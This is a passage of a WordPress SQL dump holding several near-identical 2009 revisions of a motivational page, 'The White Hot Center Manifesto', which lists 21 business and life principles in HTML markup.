</span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 16:10:55', '2009-07-06 23:10:55', '', 136, 'http://www.whitehotcenter.com/136-revision-22/', 0, 'revision', '', 0),
(387, 2, '2009-07-06 16:14:10', '2009-07-06 23:14:10', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to share with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;"> </span>In my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs and professionals in small start-ups alike.  I''ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires– despite the challenges of current circumstances. Successful people are inspired people. They know everything they "see" in their creative imagination is achievable in the physical world! There are no limits except those that are self-imposed. Think about these inspired ideas:\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 16:14:10', '2009-07-06 23:14:10', '', 136, 'http://www.whitehotcenter.com/136-revision-23/', 0, 'revision', '', 0),
(388, 2, '2009-07-06 16:20:21', '2009-07-06 23:20:21', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to declare with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;"> </span>In my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs and professionals in small start-ups alike.  I''ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires– despite the challenges of current circumstances. Successful people are inspired people. They know everything they "see" in their creative imagination is achievable in the physical world! There are no limits except those that are self-imposed. Think about these inspired ideas:\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 16:20:21', '2009-07-06 23:20:21', '', 136, 'http://www.whitehotcenter.com/136-revision-24/', 0, 'revision', '', 0),
(389, 2, '2009-07-06 16:22:41', '2009-07-06 23:22:41', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to declare with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;"> </span>In my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs and professionals in small start-ups alike.  I''ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires– despite the challenges of current circumstances. Successful people are inspired people. They know everything they "see" in their creative imagination is achievable in the physical world! There are no limits except those that are self-imposed. Let these inspired ideas burn an impression in your remarkable mind:\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 16:22:41', '2009-07-06 23:22:41', '', 136, 'http://www.whitehotcenter.com/136-revision-25/', 0, 'revision', '', 0);
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(391, 2, '2009-07-06 16:26:18', '2009-07-06 23:26:18', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to declare for you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;"> </span>In my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs and professionals in small start-ups alike.  I''ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires– despite the challenges of their current circumstances. Successful people are inspired people. They believe everything they "see" in their creative imagination has its counterpart in the physical world! There are no limits to achievement except those that are self-imposed. Let these inspired ideas burn an impression in your remarkable mind:\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to be, nor expect to be what you don’t desire.</em></span><span style="color: #ff6600;"> <strong>\r\n</strong></span>\r\n<h2><span style="color: #ff6600;"><strong> <span style="color: #333333;">3</span></strong></span><strong> you must do what matters to you, and what you do must matter to others</strong><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>meaning + contribution = a life of significance.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>4  begin with what’s at hand</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>there is no shortage of supply, you are at all times surrounded by potential and possibility.</em></span>\r\n<h2><span style="color: #333333;"><strong>5  as you live in your days you craft your future</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>forget the past, right now is what’s important.</em></span>\r\n<h2><span style="color: #333333;"><strong>6  embrace simplicity</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>do everything in an easy and relaxed manner.</em></span>\r\n<h2><span style="color: #333333;"><strong>7  the best idea is the one you think is impossible</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>don’t be afraid to put your own “dent in the universe”.</em></span>\r\n<h2><span style="color: #333333;"><strong>8  be different, make a difference</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>a compelling value proposition, properly positioned will elevate you from the slush pile</em>.</span>\r\n<h2><span style="color: #333333;"><strong>9  provide more use value than you receive in cash value</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the ultimate competitive advantage and the key to wealth.</em></span>\r\n<h2><span style="color: #333333;"><strong>10  people are more important than money</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>get this reversed and it’s game over!</em></span>\r\n<h2><span style="color: #333333;"><strong>11  create experiences people love</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>doing good things for people is good business.</em></span>\r\n<h2><span style="color: #333333;"><strong>12  listen more, sell less</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>It’s all about them not you.</em></span>\r\n<h2><span style="color: #333333;"><strong>13  intuition over conventional wisdom</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>follow your heart, there is no better alternative.</em></span>\r\n<h2><span style="color: #333333;"><strong>14  daydream often</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>play aimlessly in your creative imagination.\r\n</em></span>\r\n<h2><span style="color: #333333;"><strong>15  focus on the important, handle the urgent</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>discover your genius, develop you unique ability, delegate everything else.</em></span>\r\n<h2><span style="color: #333333;"><strong>16  forget what you know</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>the world moves to fast for one mind – seek collaborators.</em></span>\r\n<h2><span style="color: #333333;"><strong>17  beware of comfort</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>it will put you to sleep!</em></span>\r\n<h2><span style="color: #333333;"><strong>18  play on the edges</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>embrace risk like your lover.</em></span>\r\n<h2><span style="color: #333333;"><strong>19  to thine own self be true, no exceptions, no excuses\r\n</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>say no often and mean it.</em></span>\r\n<h2><span style="color: #333333;"><strong>20  leadership is service in disguise</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>elevate everyone you come into contact with.</em></span>\r\n<h2><span style="color: #333333;"><strong>21  give thanks, give back</strong></span></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>appreciation + service =  abundance.</em></span>\r\n\r\n<strong>It’s my conviction these guiding principles will help you frame up the inner game that determines your own outer success. Like me, you may have incorporated elements of this philosophy in your personal and business life for years. If not, perhaps you’ll be inspired to gain a deeper level of understanding and mastery of these timeless principles and apply them daily to realize a quantum leap in your own inspired growth and business success. Facilitating your awareness and deeper understanding of these ideas is my life’s great work.</strong>', 'The White Hot Center Manifesto', 0, '', 'inherit', 'open', 'open', '', '136-revision-v1', '', '', '2009-07-06 16:26:18', '2009-07-06 23:26:18', '', 136, 'http://www.whitehotcenter.com/136-revision-27/', 0, 'revision', '', 0),
(390, 2, '2009-07-06 16:25:08', '2009-07-06 23:25:08', '<h2><span style="color: #ff6600;">The dictionary defines the word manifesto as a public declaration of policy, principles or aims of a particular point of view.  Manifesto comes from the Latin word manifestus, which means to make obvious. To make my passion for inspiring you toward greater levels of success more obvious, I want to declare with you 21 guiding principles that form the foundation of the White Hot Center philosophy and methodology for creating inspired success in your business and in your life.</span></h2>\r\n<span style="color: #ff6600;"> </span>In my 30-year entrepreneurial career in marketing and business communications, I have worked with hundreds of successful people in diverse businesses. I have consulted with top executives in global companies, and creative entrepreneurs and professionals in small start-ups alike.  I''ve learned through my association with many of these successful people, that all of them consciously operate from a set of inner guiding principles that illuminates their journey and helps them stay the course towards their business goals and personal desires– despite the challenges of their current circumstances. Successful people are inspired people. They believe everything they "see" in their creative imagination has its counterpart in the physical world! There are no limits to achievement except those that are self-imposed. Let these inspired ideas burn an impression in your remarkable mind:\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif"><img class="alignnone size-full wp-image-385" title="21manifesto" src="http://whc.fbdev.org/wp-content/uploads/2009/04/21manifesto1.gif" alt="21manifesto" width="450" height="277" /></a>\r\n<h2>1<span style="color: #ff6600;"> </span><strong> as you think, so it is</strong><span style="color: #ff6600;"><em> </em></span><span style="color: #ff6600;"><em>\r\n</em></span></h2>\r\n<span style="color: #ff6600;"><em>the essence of all creation begins with your thoughts.</em></span>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #333333;"><strong>2</strong></span><strong> know what you want, decide to pursue it, expect that it will be delivered to you</strong></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<span style="color: #ff6600;"> <em>never desire what you don’t expect to 